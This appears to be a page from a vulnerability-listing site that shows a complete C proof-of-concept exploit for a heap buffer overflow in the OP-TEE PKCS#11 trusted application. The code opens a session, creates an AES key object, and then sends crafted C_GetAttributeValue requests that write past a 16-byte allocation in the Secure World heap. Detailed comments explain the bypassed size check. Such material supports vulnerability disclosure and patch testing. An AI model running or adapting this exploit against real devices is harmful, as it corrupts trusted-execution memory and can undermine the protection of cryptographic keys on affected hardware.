5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / c01_poc.c C
/*
 * C-01 PoC: Heap Buffer Overflow in PKCS#11 C_GetAttributeValue
 *
 * Triggers the bug in entry_get_attribute_value() (ta/pkcs11/src/object.c)
 * by sending a C_GetAttributeValue request with attrs_size = 8 (one header,
 * zero data bytes) and cli_head.size = 16 (bypassing the size guard),
 * causing a 16-byte write past the end of the 16-byte template allocation
 * in the Secure World heap.
 *
 * Build (AArch64):
 *   See build_poc.sh
 * Run in QEMU (as root):
 *   mount -t 9p -o trans=virtio host /mnt/host
 *   /mnt/host/c01_poc
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <tee_client_api.h>

/* PKCS#11 TA UUID: fd02c9da-306c-48c7-a49c-bbd827ae86ee */
static const TEEC_UUID pkcs11_ta_uuid = {
    0xfd02c9da, 0x306c, 0x48c7,
    { 0xa4, 0x9c, 0xbb, 0xd8, 0x27, 0xae, 0x86, 0xee }
};

/* PKCS#11 TA command IDs (from ta/pkcs11/include/pkcs11_ta.h) */
#define CMD_INIT_TOKEN          10
#define CMD_OPEN_SESSION         6
#define CMD_CREATE_OBJECT       15
#define CMD_GET_ATTRIBUTE_VALUE 38

/* Attribute IDs (internal TA values from pkcs11_ta.h) */
#define CKA_CLASS       0x0000
#define CKA_TOKEN       0x0001
#define CKA_LABEL       0x0003
#define CKA_VALUE       0x0011
#define CKA_KEY_TYPE    0x0100
#define CKA_DECRYPT     0x0105
#define CKA_MODIFIABLE  0x0170

/* Object/key class values */
#define CKO_SECRET_KEY  0x0004
#define CKK_AES         0x001f
#define CK_TRUE         0x01
#define CK_FALSE        0x00

/* Session flags */
#define CKF_RW_SESSION     0x00000002
#define CKF_SERIAL_SESSION 0x00000004

/* Return codes */
#define CKR_OK 0x00000000

/*
 * Invoke a PKCS#11 TA command.
 * ctrl  = INOUT param[0]: TA reads args, writes 4-byte return code back
 * out   = OUTPUT param[2]: TA writes response data here
 * Returns the 4-byte PKCS#11 return code from the TA.
 */
static uint32_t pkcs11_cmd(TEEC_Session *sess, uint32_t cmd,
                            void *ctrl, size_t ctrl_size,
                            void *out, size_t *out_size)
{
    TEEC_Operation op = { 0 };
    uint32_t origin = 0;
    TEEC_Result res;
    uint32_t rc = 0;

    op.params[0].tmpref.buffer = ctrl;
    op.params[0].tmpref.size   = ctrl_size;

    if (out && out_size) {
        op.params[2].tmpref.buffer = out;
        op.params[2].tmpref.size   = *out_size;
        op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
                                         TEEC_MEMREF_TEMP_OUTPUT, TEEC_NONE);
    } else {
        op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_TEMP_INOUT, TEEC_NONE,
                                         TEEC_NONE, TEEC_NONE);
    }

    res = TEEC_InvokeCommand(sess, cmd, &op, &origin);

    /*
     * The TA writes the 4-byte return code to ctrl[0..3] and sets
     * params[0].tmpref.size = 4 (entry.c:366-367).
     */
    memcpy(&rc, ctrl, sizeof(rc));

    if (out_size)
        *out_size = op.params[2].tmpref.size;

    if (res == TEEC_ERROR_SHORT_BUFFER)
        return 0x00000150; /* CKR_BUFFER_TOO_SMALL */

    return (res == TEEC_SUCCESS) ? rc : 0xFFFFFFFF;
}

/* Pack a uint32 into a byte buffer and advance pointer */
static void put_u32(uint8_t **p, uint32_t v)
{
    memcpy(*p, &v, 4);
    *p += 4;
}

/* Pack n bytes into a byte buffer and advance pointer */
static void put_bytes(uint8_t **p, const void *src, size_t n)
{
    memcpy(*p, src, n);
    *p += n;
}

int main(void)
{
    TEEC_Context ctx;
    TEEC_Session sess;
    uint32_t origin = 0;
    uint32_t rc;
    uint8_t ctrl[256];
    uint8_t out[256];
    uint8_t *p;
    size_t out_sz;

    printf("[C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue\n");
    printf("[C-01 PoC] Vulnerable commit: 06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc\n");

    /* --- Step 1: Open TEEC context and session with PKCS#11 TA --- */
    if (TEEC_InitializeContext(NULL, &ctx) != TEEC_SUCCESS) {
        fprintf(stderr, "[-] TEEC_InitializeContext failed\n");
        return 1;
    }

    if (TEEC_OpenSession(&ctx, &sess, &pkcs11_ta_uuid,
                         TEEC_LOGIN_PUBLIC, NULL, NULL, &origin)
        != TEEC_SUCCESS) {
        fprintf(stderr, "[-] TEEC_OpenSession failed (origin=%u)\n", origin);
        TEEC_FinalizeContext(&ctx);
        return 1;
    }
    printf("[+] TEEC session with PKCS#11 TA opened\n");

    /* --- Step 2: Initialize token (slot 0, no PIN) --- */
    /* ctrl = [slot_id(4)][pin_len(4)][label(32)] */
    p = ctrl;
    put_u32(&p, 0);                         /* slot_id = 0 */
    put_u32(&p, 0);                         /* pin_len = 0 */
    put_bytes(&p, "C01 PoC Token           ", 32); /* label (32 bytes) */

    rc = pkcs11_cmd(&sess, CMD_INIT_TOKEN, ctrl, p - ctrl, NULL, NULL);
    printf("[+] INIT_TOKEN  rc=0x%08x %s\n", rc, rc == CKR_OK ? "OK" : "(check: may already be initialized)");

    /* --- Step 3: Open R/W session on slot 0 --- */
    /* ctrl = [slot_id(4)][flags(4)] → out = [session_handle(4)] */
    p = ctrl;
    put_u32(&p, 0);                                     /* slot_id */
    put_u32(&p, CKF_RW_SESSION | CKF_SERIAL_SESSION);  /* flags */

    out_sz = 4; /* TA checks out->memref.size == sizeof(session_handle) exactly */
    rc = pkcs11_cmd(&sess, CMD_OPEN_SESSION, ctrl, p - ctrl, out, &out_sz);
    if (rc != CKR_OK) {
        fprintf(stderr, "[-] OPEN_SESSION failed: rc=0x%08x\n", rc);
        goto close;
    }
    uint32_t session_handle;
    memcpy(&session_handle, out, 4);
    printf("[+] OPEN_SESSION rc=0x%08x, session_handle=0x%08x\n", rc, session_handle);

    /* --- Step 4: Create AES session object with CKA_LABEL --- */
    /*
     * Object attributes (OP-TEE internal IDs):
     *   CKA_CLASS(0x0000)    = CKO_SECRET_KEY(4)  [4+4+4 = 12 bytes]
     *   CKA_TOKEN(0x0001)    = CK_FALSE(0)         [4+4+1 = 9 bytes]
     *   CKA_MODIFIABLE(0x170)= CK_TRUE(1)          [4+4+1 = 9 bytes]
     *   CKA_KEY_TYPE(0x100)  = CKK_AES(0x1f)       [4+4+4 = 12 bytes]
     *   CKA_DECRYPT(0x105)   = CK_TRUE(1)          [4+4+1 = 9 bytes]
     *   CKA_VALUE(0x011)     = 16-byte AES key     [4+4+16 = 24 bytes]
     *   CKA_LABEL(0x003)     = "AAAAAAAAAAAAAAAA"  [4+4+16 = 24 bytes]
     *
     * Total attrs_size = 12+9+9+12+9+24+24 = 99 bytes
     * attrs_count = 7
     */
    static const uint8_t aes_key[16] = {
        0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,
        0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f
    };
    static const uint8_t label[16] = "AAAAAAAAAAAAAAAA";

    uint32_t attrs_size = (4+4+4) + (4+4+1) + (4+4+1) + (4+4+4) + (4+4+1) + (4+4+16) + (4+4+16);
    /* = 12 + 9 + 9 + 12 + 9 + 24 + 24 = 99 */
    uint32_t attrs_count = 7;

    p = ctrl;
    put_u32(&p, session_handle);
    /* pkcs11_object_head */
    put_u32(&p, attrs_size);
    put_u32(&p, attrs_count);
    /* CKA_CLASS = CKO_SECRET_KEY */
    put_u32(&p, CKA_CLASS); put_u32(&p, 4); put_u32(&p, CKO_SECRET_KEY);
    /* CKA_TOKEN = CK_FALSE */
    put_u32(&p, CKA_TOKEN); put_u32(&p, 1); *p++ = CK_FALSE;
    /* CKA_MODIFIABLE = CK_TRUE */
    put_u32(&p, CKA_MODIFIABLE); put_u32(&p, 1); *p++ = CK_TRUE;
    /* CKA_KEY_TYPE = CKK_AES */
    put_u32(&p, CKA_KEY_TYPE); put_u32(&p, 4); put_u32(&p, CKK_AES);
    /* CKA_DECRYPT = CK_TRUE */
    put_u32(&p, CKA_DECRYPT); put_u32(&p, 1); *p++ = CK_TRUE;
    /* CKA_VALUE = 16-byte AES key */
    put_u32(&p, CKA_VALUE); put_u32(&p, 16); put_bytes(&p, aes_key, 16);
    /* CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes) */
    put_u32(&p, CKA_LABEL); put_u32(&p, 16); put_bytes(&p, label, 16);

    out_sz = 4; /* TA checks out->memref.size == sizeof(obj_handle) exactly */
    rc = pkcs11_cmd(&sess, CMD_CREATE_OBJECT, ctrl, p - ctrl, out, &out_sz);
    if (rc != CKR_OK) {
        fprintf(stderr, "[-] CREATE_OBJECT failed: rc=0x%08x\n", rc);
        goto close;
    }
    uint32_t obj_handle;
    memcpy(&obj_handle, out, 4);
    printf("[+] CREATE_OBJECT rc=0x%08x, obj_handle=0x%08x\n", rc, obj_handle);
    printf("[+] Object has CKA_LABEL = \"AAAAAAAAAAAAAAAA\" (16 bytes)\n");

    /* --- Step 5: Trigger the heap buffer overflow --- */
    /*
     * Malicious GET_ATTRIBUTE_VALUE request:
     *
     * ctrl = [session_handle(4)][obj_handle(4)]
     *        [pkcs11_object_head: attrs_size=8, attrs_count=1]  <- CRAFTED
     *        [pkcs11_attribute_head: id=CKA_LABEL, size=16]     <- CRAFTED
     *
     * Total ctrl: 4+4+8+8 = 24 bytes
     *
     * In the TA (entry_get_attribute_value, object.c:828-872):
     *   template = alloc(sizeof(pkcs11_object_head) + attrs_size)
     *            = alloc(8 + 8) = 16 bytes
     *   cur = template + 8
     *   end = cur + 8          <- attrs_size = 8
     *   cli_ref = cur          <- within allocation
     *   data_ptr = cur + 8 = end  <- PAST ALLOCATION
     *   get_attribute() writes 16 bytes at data_ptr -> HEAP OVERFLOW
     */
    printf("[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...\n");

    for (int i = 0; i < 5; i++) {
        p = ctrl;
        put_u32(&p, session_handle);   /* session handle */
        put_u32(&p, obj_handle);        /* object handle */
        /* pkcs11_object_head: CRAFTED attrs_size=8 (one header, zero data) */
        put_u32(&p, 8);                 /* attrs_size = sizeof(pkcs11_attribute_head) only */
        put_u32(&p, 1);                 /* attrs_count = 1 */
        /* pkcs11_attribute_head: CRAFTED size=16 (bypasses size guard) */
        put_u32(&p, CKA_LABEL);        /* id = CKA_LABEL */
        put_u32(&p, 16);               /* size = 16 (>= actual, bypasses check) */

        /*
         * out_sz = sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16.
         * The TA copies exactly out->memref.size bytes from template at
         * object.c:915; setting this to 16 avoids a spurious read overflow
         * before or instead of the intended write overflow.
         */
        out_sz = 16;
        rc = pkcs11_cmd(&sess, CMD_GET_ATTRIBUTE_VALUE, ctrl, p - ctrl, out, &out_sz);
        printf("[+] GET_ATTRIBUTE_VALUE[%d] rc=0x%08x\n", i, rc);
        /*
         * Expected: heap corruption in TA's secure world heap.
         * The TA may continue temporarily before crashing on the next
         * heap operation (TEE_Panic in bget allocator).
         * Check serial1.log for: "Panic at" or "assertion failed".
         */
    }

    printf("[+] Done. If the TA is still responding, the corruption may be\n");
    printf("    latent. Check /tmp/serial1.log for TEE panic output.\n");

close:
    TEEC_CloseSession(&sess);
    TEEC_FinalizeContext(&ctx);
    return 0;
}